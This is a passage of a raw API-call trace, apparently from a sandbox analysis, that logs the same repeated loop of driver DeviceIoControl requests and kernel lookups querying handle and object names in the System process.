lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.568] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.568] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.568] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.568] PsAcquireProcessExitSynchronization () returned 0x0 [0119.568] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.568] ObReferenceObjectByHandle (in: Handle=0xffffffff800006bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002125660, HandleInformation=0x0) returned 0x0 [0119.568] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.568] PsReleaseProcessExitSynchronization () returned 0x2 [0119.568] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.568] ObQueryNameString (in: Object=0xfffffa8002125660, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.568] ObfDereferenceObject (Object=0xfffffa8002125660) returned 0x2 [0119.568] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.568] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.568] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.569] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.569] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.569] PsAcquireProcessExitSynchronization () returned 0x0 [0119.569] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.569] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800edee1f0, HandleInformation=0x0) returned 0x0 [0119.569] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.569] PsReleaseProcessExitSynchronization () returned 0x2 [0119.569] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.569] ObQueryNameString (in: Object=0xfffffa800edee1f0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.569] ObfDereferenceObject (Object=0xfffffa800edee1f0) returned 0x2 [0119.569] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.569] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.569] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.569] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.569] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.569] PsAcquireProcessExitSynchronization () returned 0x0 [0119.569] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.569] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800289bac0, HandleInformation=0x0) returned 0x0 [0119.569] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.569] PsReleaseProcessExitSynchronization () returned 0x2 [0119.569] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.569] ObQueryNameString (in: Object=0xfffffa800289bac0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.569] ObfDereferenceObject (Object=0xfffffa800289bac0) returned 0x2 [0119.569] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.569] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.569] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.569] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.569] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.569] PsAcquireProcessExitSynchronization () returned 0x0 [0119.569] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.569] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800213f2c0, HandleInformation=0x0) returned 0x0 [0119.569] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.569] PsReleaseProcessExitSynchronization () returned 0x2 [0119.570] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.570] ObQueryNameString (in: Object=0xfffffa800213f2c0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.570] ObfDereferenceObject (Object=0xfffffa800213f2c0) returned 0x2 [0119.570] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.570] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.570] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.570] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.570] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.570] PsAcquireProcessExitSynchronization () returned 0x0 [0119.570] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.570] ObReferenceObjectByHandle (in: Handle=0xffffffff800006cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800212e790, HandleInformation=0x0) returned 0x0 [0119.570] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.570] PsReleaseProcessExitSynchronization () returned 0x2 [0119.570] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.570] ObQueryNameString (in: Object=0xfffffa800212e790, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.570] ObfDereferenceObject (Object=0xfffffa800212e790) returned 0x2 [0119.570] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.570] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.570] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.570] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.570] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.570] PsAcquireProcessExitSynchronization () returned 0x0 [0119.570] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.570] ObReferenceObjectByHandle (in: Handle=0xffffffff800006d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800286e690, HandleInformation=0x0) returned 0x0 [0119.570] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.570] PsReleaseProcessExitSynchronization () returned 0x2 [0119.570] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.570] ObQueryNameString (in: Object=0xfffffa800286e690, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.570] ObfDereferenceObject (Object=0xfffffa800286e690) returned 0x2 [0119.571] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.571] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.571] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.571] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.571] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.571] PsAcquireProcessExitSynchronization () returned 0x0 [0119.571] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.571] ObReferenceObjectByHandle (in: Handle=0xffffffff800006d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800213ff20, HandleInformation=0x0) returned 0x0 [0119.571] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.571] PsReleaseProcessExitSynchronization () returned 0x2 [0119.571] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.571] ObQueryNameString (in: Object=0xfffffa800213ff20, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.571] ObfDereferenceObject (Object=0xfffffa800213ff20) returned 0x2 [0119.571] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.571] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.571] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.571] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.571] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.571] PsAcquireProcessExitSynchronization () returned 0x0 [0119.571] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.571] ObReferenceObjectByHandle (in: Handle=0xffffffff800006dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002131860, HandleInformation=0x0) returned 0x0 [0119.571] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.571] PsReleaseProcessExitSynchronization () returned 0x2 [0119.571] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.571] ObQueryNameString (in: Object=0xfffffa8002131860, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.571] ObfDereferenceObject (Object=0xfffffa8002131860) returned 0x2 [0119.571] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.571] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.571] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.571] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.572] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.572] PsAcquireProcessExitSynchronization () returned 0x0 [0119.572] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.572] ObReferenceObjectByHandle (in: Handle=0xffffffff800006e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800250a720, HandleInformation=0x0) returned 0x0 [0119.572] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.572] PsReleaseProcessExitSynchronization () returned 0x2 [0119.572] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.572] ObQueryNameString (in: Object=0xfffffa800250a720, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.572] ObfDereferenceObject (Object=0xfffffa800250a720) returned 0x2 [0119.572] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.572] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.572] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.572] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.572] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.572] PsAcquireProcessExitSynchronization () returned 0x0 [0119.572] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.572] ObReferenceObjectByHandle (in: Handle=0xffffffff800006e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800213ef20, HandleInformation=0x0) returned 0x0 [0119.572] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.572] PsReleaseProcessExitSynchronization () returned 0x2 [0119.572] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.572] ObQueryNameString (in: Object=0xfffffa800213ef20, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.572] ObfDereferenceObject (Object=0xfffffa800213ef20) returned 0x2 [0119.572] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.572] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.572] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.572] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.572] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.572] PsAcquireProcessExitSynchronization () returned 0x0 [0119.572] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.572] ObReferenceObjectByHandle (in: Handle=0xffffffff800006ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002132a20, HandleInformation=0x0) returned 0x0 [0119.573] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.573] PsReleaseProcessExitSynchronization () returned 0x2 [0119.573] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.573] ObQueryNameString (in: Object=0xfffffa8002132a20, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.573] ObfDereferenceObject (Object=0xfffffa8002132a20) returned 0x2 [0119.573] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.573] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.573] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.573] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.573] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.573] PsAcquireProcessExitSynchronization () returned 0x0 [0119.573] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.573] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80021563f0, HandleInformation=0x0) returned 0x0 [0119.573] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.573] PsReleaseProcessExitSynchronization () returned 0x2 [0119.573] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.573] ObQueryNameString (in: Object=0xfffffa80021563f0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.573] ObfDereferenceObject (Object=0xfffffa80021563f0) returned 0x2 [0119.573] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.573] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.573] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.573] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.573] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.573] PsAcquireProcessExitSynchronization () returned 0x0 [0119.573] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.573] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003521710, HandleInformation=0x0) returned 0x0 [0119.573] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.573] PsReleaseProcessExitSynchronization () returned 0x2 [0119.573] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.573] ObQueryNameString (in: Object=0xfffffa8003521710, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.574] ObfDereferenceObject (Object=0xfffffa8003521710) returned 0x2 [0119.574] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.574] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.574] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.574] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.574] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.574] PsAcquireProcessExitSynchronization () returned 0x0 [0119.574] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.574] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800213b2f0, HandleInformation=0x0) returned 0x0 [0119.574] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.574] PsReleaseProcessExitSynchronization () returned 0x2 [0119.574] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.574] ObQueryNameString (in: Object=0xfffffa800213b2f0, ObjectNameInfo=0xfffffa800388e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800388e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.574] ObfDereferenceObject (Object=0xfffffa800213b2f0) returned 0x2 [0119.574] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.574] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.574] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.574] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.574] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.574] PsAcquireProcessExitSynchronization () returned 0x0 [0119.574] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.574] ObReferenceObjectByHandle (in: Handle=0xffffffff800006fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002133af0, HandleInformation=0x0) returned 0x0 [0119.574] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.574] PsReleaseProcessExitSynchronization () returned 0x2 [0119.574] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.574] ObQueryNameString (in: Object=0xfffffa8002133af0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.575] ObfDereferenceObject (Object=0xfffffa8002133af0) returned 0x2 [0119.575] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.575] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.575] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.575] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.575] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.575] PsAcquireProcessExitSynchronization () returned 0x0 